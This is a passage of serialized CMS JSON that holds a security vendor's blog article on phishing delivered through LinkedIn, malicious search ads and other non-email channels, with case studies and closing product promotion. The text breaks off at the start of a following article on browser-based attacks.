mailbox",{"data":114108,"content":114109,"nodeType":866},{},[114110],{"data":114111,"marks":114112,"value":114113,"nodeType":865},{},[],"Because of the changes to working practices, employees are more accessible than ever to external attackers. Once upon a time, email was the primary communication channel with the wider world, and work happened locally — on your device, and inside your locked-down network environment. This made email and the endpoint the highest priority from a security perspective. ",{"data":114115,"content":114116,"nodeType":866},{},[114117],{"data":114118,"marks":114119,"value":114120,"nodeType":865},{},[],"But now, with modern work happening across a network of decentralized internet apps, and more varied communication channels outside of email, it’s harder to stop users from interacting with malicious content.",{"data":114122,"content":114123,"nodeType":866},{},[114124],{"data":114125,"marks":114126,"value":114127,"nodeType":865},{},[],"Attackers can deliver links over instant messenger apps, social media, SMS, malicious ads, and using in-app messenger functionality, as well as sending emails directly from SaaS services to bypass email-based checks. Likewise, there are now hundreds of apps per enterprise to target, with varying levels of account security configuration.",{"data":114129,"content":114133,"nodeType":925},{"target":114130},{"sys":114131},{"id":114132,"type":922,"linkType":923},"1tDciIJqKnNoR4FqZChjTy",[],{"data":114135,"content":114136,"nodeType":953},{},[],{"data":114138,"content":114139,"nodeType":963},{},[114140],{"data":114141,"marks":114142,"value":114144,"nodeType":865},{},[114143],{"type":961},"Why am I not hearing about this more? ",{"data":114146,"content":114147,"nodeType":866},{},[114148],{"data":114149,"marks":114150,"value":114151,"nodeType":865},{},[],"Phishing attacks outside of email usually go unreported. This is to be expected when most of the industry’s data on phishing attacks comes from email security vendors and tools. ",{"data":114153,"content":114154,"nodeType":866},{},[114155],{"data":114156,"marks":114157,"value":114158,"nodeType":865},{},[],"If phishing bypasses the email layer, most organizations are left relying on user reported attacks. Some organizations might supplement this with a web proxy, but these are being increasingly defeated by modern phishing kits, which use an array of obfuscation and detection evasion techniques to bypass these detections. ",{"data":114160,"content":114161,"nodeType":866},{},[114162,114166,114171],{"data":114163,"marks":114164,"value":114165,"nodeType":865},{},[],"The most valuable information for security teams today is the webpage that is loaded ",{"data":114167,"marks":114168,"value":114170,"nodeType":865},{},[114169],{"type":944},"through",{"data":114172,"marks":114173,"value":114174,"nodeType":865},{},[]," the network traffic: What does the HTML body look like? What is the user likely seeing on the page? To do this, you need to stitch together and reconstruct what the browser is doing by looking at the network data. Except for very simple websites, this happens through JavaScript on the client side. ",{"data":114176,"content":114177,"nodeType":866},{},[114178,114182,114191,114194,114202,114205,114214],{"data":114179,"marks":114180,"value":114181,"nodeType":865},{},[],"This is hard enough when analysing a typical SaaS app. But the latest generation of fully customized Attacker-in-the-Middle (AitM) phishing kits are going out of their way to make this as challenging as possible, using techniques like ",{"data":114183,"content":114185,"nodeType":882},{"uri":114184},"https://phishing-techniques.pushsecurity.com/techniques/dom-obfuscation/",[114186],{"data":114187,"marks":114188,"value":114190,"nodeType":865},{},[114189],{"type":997},"DOM obfuscation",{"data":114192,"marks":114193,"value":2186,"nodeType":865},{},[],{"data":114195,"content":114196,"nodeType":882},{"uri":110765},[114197],{"data":114198,"marks":114199,"value":114201,"nodeType":865},{},[114200],{"type":997},"Page obfuscation",{"data":114203,"marks":114204,"value":3892,"nodeType":865},{},[],{"data":114206,"content":114208,"nodeType":882},{"uri":114207},"https://phishing-techniques.pushsecurity.com/techniques/code-obfuscation/",[114209],{"data":114210,"marks":114211,"value":114213,"nodeType":865},{},[114212],{"type":997},"Code obfuscation",{"data":114215,"marks":114216,"value":114217,"nodeType":865},{},[]," so all you see at a network layer is a garbled, obfuscated mess of JS code.",{"data":114219,"content":114223,"nodeType":925},{"target":114220},{"sys":114221},{"id":114222,"type":922,"linkType":923},"71QsaPju68i5QiJcgQlHDs",[],{"data":114225,"content":114226,"nodeType":866},{},[114227],{"data":114228,"marks":114229,"value":114230,"nodeType":865},{},[],"So, non-email phishing is going broadly undetected through technical controls. And even when spotted and reported by a user — what can you really do about it?",{"data":114232,"content":114233,"nodeType":866},{},[114234,114238,114243],{"data":114235,"marks":114236,"value":114237,"nodeType":865},{},[],"Take a social media phish. You can’t see which other accounts were targeted or hit in your user base. Unlike email, there’s no way to recall or quarantine the same message hitting multiple users. There’s no rule you can modify, or senders you can block. You can report the account, and ",{"data":114239,"marks":114240,"value":114242,"nodeType":865},{},[114241],{"type":944},"maybe",{"data":114244,"marks":114245,"value":114246,"nodeType":865},{},[]," something will happen when the site owner gets around to it — but the attacker has probably got what they needed by then and moved on. ",{"data":114248,"content":114249,"nodeType":866},{},[114250],{"data":114251,"marks":114252,"value":114253,"nodeType":865},{},[],"Most organizations simply block the URLs involved. But this doesn’t really help when attackers are rapidly rotating their phishing domains — by the time you block one site, another three have already taken its place. ",{"data":114255,"content":114259,"nodeType":925},{"target":114256},{"sys":114257},{"id":114258,"type":922,"linkType":923},"1II2kHyOZcShLsexx1TAgy",[],{"data":114261,"content":114262,"nodeType":953},{},[],{"data":114264,"content":114265,"nodeType":963},{},[114266],{"data":114267,"marks":114268,"value":114270,"nodeType":865},{},[114269],{"type":961},"But aren’t these just personal accounts?",{"data":114272,"content":114273,"nodeType":866},{},[114274],{"data":114275,"marks":114276,"value":114277,"nodeType":865},{},[],"Modern phishing attacks blur the boundary between corporate and personal. The fact is that your employees are routinely accessing personal messaging and social media apps on their corporate devices. Users are signed into apps like LinkedIn, X, WhatsApp, Signal, even message boards like Reddit on their work laptop and/or mobile devices. And with malicious links being found on search engines (aka. malvertising), they can even stumble upon them while browsing the web normally.",{"data":114279,"content":114280,"nodeType":866},{},[114281,114285,114290],{"data":114282,"marks":114283,"value":114284,"nodeType":865},{},[],"In short: anywhere that your users can be contacted by someone outside of your organization presents an opportunity for phishing. In fact, in most of these cases people ",{"data":114286,"marks":114287,"value":114289,"nodeType":865},{},[114288],{"type":961},"expect ",{"data":114291,"marks":114292,"value":114293,"nodeType":865},{},[],"to be contacted by people they don’t know. ",{"data":114295,"content":114296,"nodeType":866},{},[114297,114301,114309],{"data":114298,"marks":114299,"value":114300,"nodeType":865},{},[],"It’s also a myth that campaigns can’t be targeted in the same way on these platforms, that they’re somehow more random and therefore less dangerous. For example, social media accounts are some of the easiest for attackers to create en masse — or take over. According to the most recent ",{"data":114302,"content":114304,"nodeType":882},{"uri":114303},"https://www.verizon.com/business/resources/T149/reports/2025-dbir-data-breach-investigations-report.pdf",[114305],{"data":114306,"marks":114307,"value":3246,"nodeType":865},{},[114308],{"type":997},{"data":114310,"marks":114311,"value":114312,"nodeType":865},{},[],", 60%+ of creds found in infostealer logs were from social media sites. They’re also likely to use single-factor logins. If an attacker can take over one account, and use it to credibly communicate with one of your employees, they have a way higher likelihood of being successful than with your average unsolicited email. ",{"data":114314,"content":114315,"nodeType":866},{},[114316,114320,114327],{"data":114317,"marks":114318,"value":114319,"nodeType":865},{},[],"Malicious ads can also be targeted. For example, Google Ads can be targeted to searches coming from specific geographic locations, tailored to specific email domain matches, or specific device types (e.g. desktop, mobile, etc.). If you know where your target organization is located, you can tailor the ad to that location. Phishing sites also often come with ",{"data":114321,"content":114322,"nodeType":882},{"uri":70317},[114323],{"data":114324,"marks":114325,"value":70323,"nodeType":865},{},[114326],{"type":997},{"data":114328,"marks":114329,"value":114330,"nodeType":865},{},[]," parameters to only deliver the malicious payload under specific conditions — for example, only if the visitor came from a particular email campaign link, or only if they are in a certain organization, using a certain browser, from a specific IP range, etc. ",{"data":114332,"content":114333,"nodeType":866},{},[114334,114338,114347],{"data":114335,"marks":114336,"value":114337,"nodeType":865},{},[],"And even if the attacker only manages to reach your employee on their personal device, this can still be laundered into a corporate account compromise. Just look at the ",{"data":114339,"content":114341,"nodeType":882},{"uri":114340},"https://sec.okta.com/articles/2023/11/unauthorized-access-oktas-support-case-management-system-root-cause",[114342],{"data":114343,"marks":114344,"value":114346,"nodeType":865},{},[114345],{"type":997},"2023 Okta breach",{"data":114348,"marks":114349,"value":114350,"nodeType":865},{},[],", where an attacker exploited the fact that an Okta employee had signed into a personal Google profile on their work device. This meant any credentials saved in their browser were synced to their personal device — including a customer support system service account providing access to 134 customer tenants. When their personal device got hacked, so too did all of their work credentials.",{"data":114352,"content":114353,"nodeType":866},{},[114354],{"data":114355,"marks":114356,"value":114357,"nodeType":865},{},[],"So, there’s plenty of scope for non-email phishing to result in targeted phishing campaigns. If anything, it’s arguably less work for the attacker to spin up these non-email campaigns than it is to do the necessary legwork to create and build up email sender reputation!",{"data":114359,"content":114360,"nodeType":953},{},[],{"data":114362,"content":114363,"nodeType":963},{},[114364],{"data":114365,"marks":114366,"value":114368,"nodeType":865},{},[114367],{"type":961},"Case study: LinkedIn spear-phishing",{"data":114370,"content":114371,"nodeType":866},{},[114372,114375,114383],{"data":114373,"marks":114374,"value":21,"nodeType":865},{},[],{"data":114376,"content":114377,"nodeType":882},{"uri":5166},[114378],{"data":114379,"marks":114380,"value":114382,"nodeType":865},{},[114381],{"type":997},"Attackers recently ran a LinkedIn spear-phishing campaign targeting tech company execs.",{"data":114384,"marks":114385,"value":114386,"nodeType":865},{},[]," The victims were targeted via LinkedIn direct message from another exec about a fake investment opportunity. The sender’s account had been compromised and used to approach high-value targets. ",{"data":114388,"content":114389,"nodeType":866},{},[114390,114394,114403,114407,114415],{"data":114391,"marks":114392,"value":114393,"nodeType":865},{},[],"The attack led the victim through a chain of custom pages hosted on ",{"data":114395,"content":114397,"nodeType":882},{"uri":114396},"https://phishing-techniques.pushsecurity.com/techniques/trusted-website-hosting/",[114398],{"data":114399,"marks":114400,"value":114402,"nodeType":865},{},[114401],{"type":997},"legitimate sites",{"data":114404,"marks":114405,"value":114406,"nodeType":865},{},[]," (a well-known ",{"data":114408,"content":114410,"nodeType":882},{"uri":114409},"https://pushsecurity.com/resources/phishing-evolution?",[114411],{"data":114412,"marks":114413,"value":13639,"nodeType":865},{},[114414],{"type":997},{"data":114416,"marks":114417,"value":114418,"nodeType":865},{},[],") such as Google Sites, Google Search, and Microsoft Dynamics, before serving up an Attacker-in-the-Middle phishing page impersonating Google Workspace, before serving up a session-stealing AitM phishing page. ",{"data":114420,"content":114424,"nodeType":925},{"target":114421},{"sys":114422},{"id":114423,"type":922,"linkType":923},"1cEvEzLdKIuj6zuGn9aWJB",[],{"data":114426,"content":114430,"nodeType":925},{"target":114427},{"sys":114428},{"id":114429,"type":922,"linkType":923},"6LfBXkDKqh1ogCMxaxyV6x",[],{"data":114432,"content":114433,"nodeType":953},{},[],{"data":114435,"content":114436,"nodeType":963},{},[114437],{"data":114438,"marks":114439,"value":114441,"nodeType":865},{},[114440],{"type":961},"Case study: Google Search malvertising",{"data":114443,"content":114444,"nodeType":866},{},[114445,114448,114456],{"data":114446,"marks":114447,"value":21,"nodeType":865},{},[],{"data":114449,"content":114450,"nodeType":882},{"uri":90242},[114451],{"data":114452,"marks":114453,"value":114455,"nodeType":865},{},[114454],{"type":997},"A company was hit with a targeted Google ad",{"data":114457,"marks":114458,"value":114459,"nodeType":865},{},[]," which was designed to look highly convincing, and positioned above the legitimate ad. This took advantage of the fact that many users will search for login pages rather than accessing the site via bookmark. ",{"data":114461,"content":114462,"nodeType":866},{},[114463,114467,114476],{"data":114464,"marks":114465,"value":114466,"nodeType":865},{},[],"In this case, the attacker had made use of a ",{"data":114468,"content":114470,"nodeType":882},{"uri":114469},"https://phishing-techniques.pushsecurity.com/techniques/rentable-subdomains/",[114471],{"data":114472,"marks":114473,"value":114475,"nodeType":865},{},[114474],{"type":997},"rentable subdomain",{"data":114477,"marks":114478,"value":114479,"nodeType":865},{},[]," (us[.]com) to make the link appear highly legitimate, with only small changes to the real URL that were easy to miss. ",{"data":114481,"content":114482,"nodeType":866},{},[114483],{"data":114484,"marks":114485,"value":114486,"nodeType":865},{},[],"Instead of the real login, the link took the victim to a session-stealing AITM page.  ",{"data":114488,"content":114489,"nodeType":866},{},[114490,114494,114502],{"data":114491,"marks":114492,"value":114493,"nodeType":865},{},[],"This was later traced back to a ",{"data":114495,"content":114497,"nodeType":882},{"uri":114496},"https://pushsecurity.com/blog/scattered-spider-ttp-evolution-in-2025/",[114498],{"data":114499,"marks":114500,"value":8764,"nodeType":865},{},[114501],{"type":997},{"data":114503,"marks":114504,"value":114505,"nodeType":865},{},[]," campaign.",{"data":114507,"content":114511,"nodeType":925},{"target":114508},{"sys":114509},{"id":114510,"type":922,"linkType":923},"5o1LEkZfeYVjMZmROi3Yh",[],{"data":114513,"content":114517,"nodeType":925},{"target":114514},{"sys":114515},{"id":114516,"type":922,"linkType":923},"4RAXFNPdvUXjMDUE7tc10a",[],{"data":114519,"content":114520,"nodeType":953},{},[],{"data":114522,"content":114523,"nodeType":963},{},[114524],{"data":114525,"marks":114526,"value":114528,"nodeType":865},{},[114527],{"type":961},"What can an attacker do with a compromised account? ",{"data":114530,"content":114531,"nodeType":866},{},[114532],{"data":114533,"marks":114534,"value":114535,"nodeType":865},{},[],"It’s important to think about the bigger picture when it comes to a modern phishing compromise. ",{"data":114537,"content":114538,"nodeType":866},{},[114539],{"data":114540,"marks":114541,"value":114542,"nodeType":865},{},[],"Most phishing attacks focus on core enterprise cloud platforms such as Microsoft and Google, or specialist Identity Providers like Okta. Taking over one of these accounts doesn’t just give access to the core apps and data within the respective app, but also enables the attacker to leverage SSO to sign into any connected app that the employee logs into with their account. ",{"data":114544,"content":114545,"nodeType":866},{},[114546,114550,114558,114562,114571],{"data":114547,"marks":114548,"value":114549,"nodeType":865},{},[],"This gives an attacker access to just about every core business function and dataset in your organization. And from this point, it’s much easier to target other users of these internal apps — using internal messenger apps like ",{"data":114551,"content":114552,"nodeType":882},{"uri":73998},[114553],{"data":114554,"marks":114555,"value":114557,"nodeType":865},{},[114556],{"type":997},"Slack or Teams",{"data":114559,"marks":114560,"value":114561,"nodeType":865},{},[],", or techniques like ",{"data":114563,"content":114565,"nodeType":882},{"uri":114564},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/samljacking/description.md",[114566],{"data":114567,"marks":114568,"value":114570,"nodeType":865},{},[114569],{"type":997},"SAMLjacking",{"data":114572,"marks":114573,"value":114574,"nodeType":865},{},[]," to turn an app into a watering hole for other users trying to log in. ",{"data":114576,"content":114577,"nodeType":866},{},[114578],{"data":114579,"marks":114580,"value":114581,"nodeType":865},{},[],"A single account compromise can quickly snowball into a multi-million dollar, business-wide breach.",{"data":114583,"content":114584,"nodeType":953},{},[],{"data":114586,"content":114587,"nodeType":963},{},[114588],{"data":114589,"marks":114590,"value":114592,"nodeType":865},{},[114591],{"type":961},"What can organizations do about non-email phishing? ",{"data":114594,"content":114595,"nodeType":866},{},[114596],{"data":114597,"marks":114598,"value":114599,"nodeType":865},{},[],"It’s clear that the traditional anti-phishing toolset hasn’t kept up with phishing innovation. ",{"data":114601,"content":114602,"nodeType":866},{},[114603],{"data":114604,"marks":114605,"value":114606,"nodeType":865},{},[],"To tackle modern phishing attacks, organizations need a solution that detects and blocks phishing across all apps and delivery vectors. ",{"data":114608,"content":114609,"nodeType":866},{},[114610],{"data":114611,"marks":114612,"value":114613,"nodeType":865},{},[],"Push Security doesn’t detect the redirect tricks, or rely on outdated domain TI feeds. It doesn’t matter what delivery channel or camouflage methods are used, Push detects and blocks attacks by identifying the attack in real time, as the user loads and interacts with the page in their web browser.",{"data":114615,"content":114616,"nodeType":866},{},[114617],{"data":114618,"marks":114619,"value":114620,"nodeType":865},{},[],"Push’s browser-based security platform provides comprehensive identity attack detection and response capabilities against techniques like AiTM phishing, credential stuffing, ClickFixing, malicious browser extensions, and session hijacking using stolen session tokens. ",{"data":114622,"content":114623,"nodeType":866},{},[114624,114627,114634,114637,114644],{"data":114625,"marks":114626,"value":32401,"nodeType":865},{},[],{"data":114628,"content":114629,"nodeType":882},{"uri":22700},[114630],{"data":114631,"marks":114632,"value":22706,"nodeType":865},{},[114633],{"type":997},{"data":114635,"marks":114636,"value":71034,"nodeType":865},{},[],{"data":114638,"content":114639,"nodeType":882},{"uri":1728},[114640],{"data":114641,"marks":114642,"value":22730,"nodeType":865},{},[114643],{"type":997},{"data":114645,"marks":114646,"value":1048,"nodeType":865},{},[],"Why attackers are moving beyond email-based phishing","Why phishing attacks are moving away from exclusively email-based delivery, and what this means for security teams. \n","2025-09-18T00:00:00.000Z","why-attackers-are-moving-beyond-email-based-phishing",{"items":114652},[114653,114655],{"sys":114654,"name":11426},{"id":11425},{"sys":114656,"name":342},{"id":8410},{"items":114658},[114659],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":114660},{"url":11434},{"__typename":1788,"sys":114662,"content":114663,"title":91117,"synopsis":95041,"hashTags":59,"publishedDate":95042,"slug":91118,"tagsCollection":115198,"authorsCollection":115204},{"id":90823},{"json":114664},{"data":114665,"content":114666,"nodeType":1739},{},[114667,114703,114749,114762,114767,114773,114776,114783,114789,114795,114801,114817,114823,114828,114843,114848,114851,114858,114864,114871,114887,114893,114899,114905,114912,114918,114924,114929,114935,114965,114970,114977,114993,114999,115020,115026,115032,115037,115043,115046,115053,115066,115082,115088,115094,115100,115105,115112,115127,115130,115137,115143,115149,115155,115161,115187,115192],{"data":114668,"content":114669,"nodeType":866},{},[114670,114673,114680,114683,114690,114693,114700],{"data":114671,"marks":114672,"value":94433,"nodeType":865},{},[],{"data":114674,"content":114675,"nodeType":882},{"uri":94436},[114676],{"data":114677,"marks":114678,"value":315,"nodeType":865},{},[114679],{"type":997},{"data":114681,"marks":114682,"value":94445,"nodeType":865},{},[],{"data":114684,"content":114685,"nodeType":882},{"uri":94448},[114686],{"data":114687,"marks":114688,"value":94454,"nodeType":865},{},[114689],{"type":997},{"data":114691,"marks":114692,"value":94458,"nodeType":865},{},[],{"data":114694,"content":114695,"nodeType":882},{"uri":94461},[114696],{"data":114697,"marks":114698,"value":94467,"nodeType":865},{},[114699],{"type":997},{"data":114701,"marks":114702,"value":94471,"nodeType":865},{},[],{"data":114704,"content":114705,"nodeType":866},{},[114706,114709,114716,114719,114726,114729,114736,114739,114746],{"data":114707,"marks":114708,"value":94478,"nodeType":865},{},[],{"data":114710,"content":114711,"nodeType":882},{"uri":94481},[114712],{"data":114713,"marks":114714,"value":94487,"nodeType":865},{},[114715],{"type":997},{"data":114717,"marks":114718,"value":2186,"nodeType":865},{},[],{"data":114720,"content":114721,"nodeType":882},{"uri":94493},[114722],{"data":114723,"marks":114724,"value":94499,"nodeType":865},{},[114725],{"type":997},{"data":114727,"marks":114728,"value":2186,"nodeType":865},{},[],{"data":114730,"content":114731,"nodeType":882},{"uri":94505},[114732],{"data":114733,"marks":114734,"value":94511,"nodeType":865},{},[114735],{"type":997},{"data":114737,"marks":114738,"value":94515,"nodeType":865},{},[],{"data":114740,"content":114741,"nodeType":882},{"uri":94518},[114742],{"data":114743,"marks":114744,"value":94524,"nodeType":865},{},[114745],{"type":997},{"data":114747,"marks":114748,"value":94528,"nodeType":865},{},[],{"data":114750,"content":114751,"nodeType":866},{},[114752,114755,114759],{"data":114753,"marks":114754,"value":94535,"nodeType":865},{},[],{"data":114756,"marks":114757,"value":94315,"nodeType":865},{},[114758],{"type":961},{"data":114760,"marks":114761,"value":94543,"nodeType":865},{},[],{"data":114763,"content":114766,"nodeType":925},{"target":114764},{"sys":114765},{"id":94338,"type":922,"linkType":923},[],{"data":114768,"content":114769,"nodeType":866},{},[114770],{"data":114771,"marks":114772,"value":94555,"nodeType":865},{},[],{"data":114774,"content":114775,"nodeType":953},{},[],{"data":114777,"content":114778,"nodeType":963},{},[114779],{"data":114780,"marks":114781,"value":94566,"nodeType":865},{},[114782],{"type":961},{"data":114784,"content":114785,"nodeType":866},{},[114786],{"data":114787,"marks":114788,"value":94573,"nodeType":865},{},[],{"data":114790,"content":114791,"nodeType":866},{},[114792],{"data":114793,"marks":114794,"value":94580,"nodeType":865},{},[],{"data":114796,"content":114797,"nodeType":866},{},[114798],{"data":114799,"marks":114800,"value":94587,"nodeType":865},{},[],{"data":114802,"content":114803,"nodeType":866},{},[114804,114807,114814],{"data":114805,"marks":114806,"value":94594,"nodeType":865},{},[],{"data":114808,"content":114809,"nodeType":882},{"uri":94597},[114810],{"data":114811,"marks":114812,"value":94603,"nodeType":865},{},[114813],{"type":997},{"data":114815,"marks":114816,"value":94607,"nodeType":865},{},[],{"data":114818,"content":114819,"nodeType":866},{},[114820],{"data":114821,"marks":114822,"value":94614,"nodeType":865},{},[],{"data":114824,"content":114827,"nodeType":925},{"target":114825},{"sys":114826},{"id":94619,"type":922,"linkType":923},[],{"data":114829,"content":114830,"nodeType":866},{},[114831,114834,114840],{"data":114832,"marks":114833,"value":94627,"nodeType":865},{},[],{"data":114835,"content":114836,"nodeType":882},{"uri":94092},[114837],{"data":114838,"marks":114839,"value":94634,"nodeType":865},{},[],{"data":114841,"marks":114842,"value":94638,"nodeType":865},{},[],{"data":114844,"content":114847,"nodeType":925},{"target":114845},{"sys":114846},{"id":94643,"type":922,"linkType":923},[],{"data":114849,"content":114850,"nodeType":953},{},[],{"data":114852,"content":114853,"nodeType":963},{},[114854],{"data":114855,"marks":114856,"value":94655,"nodeType":865},{},[114857],{"type":961},{"data":114859,"content":114860,"nodeType":866},{},[114861],{"data":114862,"marks":114863,"value":94662,"nodeType":865},{},[],{"data":114865,"content":114866,"nodeType":1458},{},[114867],{"data":114868,"marks":114869,"value":94670,"nodeType":865},{},[114870],{"type":961},{"data":114872,"content":114873,"nodeType":866},{},[114874,114877,114884],{"data":114875,"marks":114876,"value":94677,"nodeType":865},{},[],{"data":114878,"content":114879,"nodeType":882},{"uri":8821},[114880],{"data":114881,"marks":114882,"value":94685,"nodeType":865},{},[114883],{"type":997},{"data":114885,"marks":114886,"value":94689,"nodeType":865},{},[],{"data":114888,"content":114889,"nodeType":866},{},[114890],{"data":114891,"marks":114892,"value":94696,"nodeType":865},{},[],{"data":114894,"content":114895,"nodeType":866},{},[114896],{"data":114897,"marks":114898,"value":94703,"nodeType":865},{},[],{"data":114900,"content":114901,"nodeType":866},{},[114902],{"data":114903,"marks":114904,"value":94710,"nodeType":865},{},[],{"data":114906,"content":114907,"nodeType":1458},{},[114908],{"data":114909,"marks":114910,"value":94718,"nodeType":865},{},[114911],{"type":961},{"data":114913,"content":114914,"nodeType":866},{},[114915],{"data":114916,"marks":114917,"value":94725,"nodeType":865},{},[],{"data":114919,"content":114920,"nodeType":866},{},[114921],{"data":114922,"marks":114923,"value":94732,"nodeType":865},{},[],{"data":114925,"content":114928,"nodeType":925},{"target":114926},{"sys":114927},{"id":94737,"type":922,"linkType":923},[],{"data":114930,"content":114931,"nodeType":866},{},[114932],{"data":114933,"marks":114934,"value":94745,"nodeType":865},{},[],{"data":114936,"content":114937,"nodeType":1049},{},[114938,114947,114956],{"data":114939,"content":114940,"nodeType":1003},{},[114941],{"data":114942,"content":114943,"nodeType":866},{},[114944],{"data":114945,"marks":114946,"value":94758,"nodeType":865},{},[],{"data":114948,"content":114949,"nodeType":1003},{},[114950],{"data":114951,"content":114952,"nodeType":866},{},[114953],{"data":114954,"marks":114955,"value":94768,"nodeType":865},{},[],{"data":114957,"content":114958,"nodeType":1003},{},[114959],{"data":114960,"content":114961,"nodeType":866},{},[114962],{"data":114963,"marks":114964,"value":94778,"nodeType":865},{},[],{"data":114966,"content":114969,"nodeType":925},{"target":114967},{"sys":114968},{"id":94783,"type":922,"linkType":923},[],{"data":114971,"content":114972,"nodeType":1458},{},[114973],{"data":114974,"marks":114975,"value":94792,"nodeType":865},{},[114976],{"type":961},{"data":114978,"content":114979,"nodeType":866},{},[114980,114983,114990],{"data":114981,"marks":114982,"value":94799,"nodeType":865},{},[],{"data":114984,"content":114985,"nodeType":882},{"uri":94436},[114986],{"data":114987,"marks":114988,"value":94807,"nodeType":865},{},[114989],{"type":997},{"data":114991,"marks":114992,"value":94811,"nodeType":865},{},[],{"data":114994,"content":114995,"nodeType":866},{},[114996],{"data":114997,"marks":114998,"value":94818,"nodeType":865},{},[],{"data":115000,"content":115001,"nodeType":1049},{},[115002,115011],{"data":115003,"content":115004,"nodeType":1003},{},[115005],{"data":115006,"content":115007,"nodeType":866},{},[115008],{"data":115009,"marks":115010,"value":94831,"nodeType":865},{},[],{"data":115012,"content":115013,"nodeType":1003},{},[115014],{"data":115015,"content":115016,"nodeType":866},{},[115017],{"data":115018,"marks":115019,"value":94841,"nodeType":865},{},[],{"data":115021,"content":115022,"nodeType":866},{},[115023],{"data":115024,"marks":115025,"value":94848,"nodeType":865},{},[],{"data":115027,"content":115028,"nodeType":866},{},[115029],{"data":115030,"marks":115031,"value":94855,"nodeType":865},{},[],{"data":115033,"content":115036,"nodeType":925},{"target":115034},{"sys":115035},{"id":94860,"type":922,"linkType":923},[],{"data":115038,"content":115039,"nodeType":866},{},[115040],{"data":115041,"marks":115042,"value":94868,"nodeType":865},{},[],{"data":115044,"content":115045,"nodeType":953},{},[],{"data":115047,"content":115048,"nodeType":963},{},[115049],{"data":115050,"marks":115051,"value":94879,"nodeType":865},{},[115052],{"type":961},{"data":115054,"content":115055,"nodeType":866},{},[115056,115059,115063],{"data":115057,"marks":115058,"value":94535,"nodeType":865},{},[],{"data":115060,"marks":115061,"value":94315,"nodeType":865},{},[115062],{"type":961},{"data":115064,"marks":115065,"value":94893,"nodeType":865},{},[],{"data":115067,"content":115068,"nodeType":866},{},[115069,115072,115079],{"data":115070,"marks":115071,"value":94900,"nodeType":865},{},[],{"data":115073,"content":115074,"nodeType":882},{"uri":87327},[115075],{"data":115076,"marks":115077,"value":94908,"nodeType":865},{},[115078],{"type":997},{"data":115080,"marks":115081,"value":94912,"nodeType":865},{},[],{"data":115083,"content":115084,"nodeType":866},{},[115085],{"data":115086,"marks":115087,"value":94919,"nodeType":865},{},[],{"data":115089,"content":115090,"nodeType":866},{},[115091],{"data":115092,"marks":115093,"value":94926,"nodeType":865},{},[],{"data":115095,"content":115096,"nodeType":866},{},[115097],{"data":115098,"marks":115099,"value":94933,"nodeType":865},{},[],{"data":115101,"content":115104,"nodeType":925},{"target":115102},{"sys":115103},{"id":94338,"type":922,"linkType":923},[],{"data":115106,"content":115107,"nodeType":1458},{},[115108],{"data":115109,"marks":115110,"value":94946,"nodeType":865},{},[115111],{"type":961},{"data":115113,"content":115114,"nodeType":866},{},[115115,115118,115124],{"data":115116,"marks":115117,"value":94953,"nodeType":865},{},[],{"data":115119,"content":115120,"nodeType":882},{"uri":94956},[115121],{"data":115122,"marks":115123,"value":94961,"nodeType":865},{},[],{"data":115125,"marks":115126,"value":94965,"nodeType":865},{},[],{"data":115128,"content":115129,"nodeType":953},{},[],{"data":115131,"content":115132,"nodeType":963},{},[115133],{"data":115134,"marks":115135,"value":1704,"nodeType":865},{},[115136],{"type":961},{"data":115138,"content":115139,"nodeType":866},{},[115140],{"data":115141,"marks":115142,"value":94982,"nodeType":865},{},[],{"data":115144,"content":115145,"nodeType":866},{},[115146],{"data":115147,"marks":115148,"value":94989,"nodeType":865},{},[],{"data":115150,"content":115151,"nodeType":866},{},[115152],{"data":115153,"marks":115154,"value":94996,"nodeType":865},{},[],{"data":115156,"content":115157,"nodeType":866},{},[115158],{"data":115159,"marks":115160,"value":95003,"nodeType":865},{},[],{"data":115162,"content":115163,"nodeType":866},{},[115164,115167,115174,115177,115184],{"data":115165,"marks":115166,"value":32401,"nodeType":865},{},[],{"data":115168,"content":115169,"nodeType":882},{"uri":22700},[115170],{"data":115171,"marks":115172,"value":22706,"nodeType":865},{},[115173],{"type":997},{"data":115175,"marks":115176,"value":71034,"nodeType":865},{},[],{"data":115178,"content":115179,"nodeType":882},{"uri":1728},[115180],{"data":115181,"marks":115182,"value":22730,"nodeType":865},{},[115183],{"type":997},{"data":115185,"marks":115186,"value":1048,"nodeType":865},{},[],{"data":115188,"content":115191,"nodeType":925},{"target":115189},{"sys":115190},{"id":94783,"type":922,"linkType":923},[],{"data":115193,"content":115194,"nodeType":866},{},[115195],{"data":115196,"marks":115197,"value":21,"nodeType":865},{},[],{"items":115199},[115200,115202],{"sys":115201,"name":342},{"id":8410},{"sys":115203,"name":11426},{"id":11425},{"items":115205},[115206],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":115207},{"url":11434},{"__typename":1788,"sys":115209,"content":115211,"title":115849,"synopsis":115850,"hashTags":59,"publishedDate":115851,"slug":115852,"tagsCollection":115853,"authorsCollection":115859},{"id":115210},"62Zyr35VUmijkpupWk3hoD",{"json":115212},{"data":115213,"content":115214,"nodeType":1739},{},[115215,115231,115238,115241,115249,115256,115263,115282,115288,115295,115302,115309,115316,115319,115327,115334,115340,115347,115355,115362,115369,115375,115393,115399,115406,115412,115419,115424,115427,115435,115451,115458,115488,115495,115502,115508,115515,115522,115529,115532,115540,115556,115562,115569,115576,115582,115589,115596,115599,115607,115614,115634,115678,115685,115692,115699,115702,115710,115717,115724,115731,115734,115742,115749,115780,115800,115807,115810,115817,115824,115831],{"data":115216,"content":115217,"nodeType":866},{},[115218,115222,115227],{"data":115219,"marks":115220,"value":115221,"nodeType":865},{},[],"The view that \"the browser is the new endpoint\" and \"the new battleground for cyber attacks\" is becoming increasingly advocated by security leaders. But what does this ",{"data":115223,"marks":115224,"value":115226,"nodeType":865},{},[115225],{"type":944},"actually",{"data":115228,"marks":115229,"value":115230,"nodeType":865},{},[]," mean for security teams? ",{"data":115232,"content":115233,"nodeType":866},{},[115234],{"data":115235,"marks":115236,"value":115237,"nodeType":865},{},[],"In this article, we’re cutting out the jargon to explore what a browser-based attack is, and what’s required for effective detection and response. ",{"data":115239,"content":115240,"nodeType":953},{},[],{"data":115242,"content":115243,"nodeType":963},{},[115244],{"data":115245,"marks":115246,"value":115248,"nodeType":865},{},[115247],{"type":961},"What is the goal of a browser-based attack?   ",{"data":115250,"content":115251,"nodeType":866},{},[115252],{"data":115253,"marks":115254,"value":115255,"nodeType":865},{},[],"First, it’s important to establish what the point of a browser-based attack 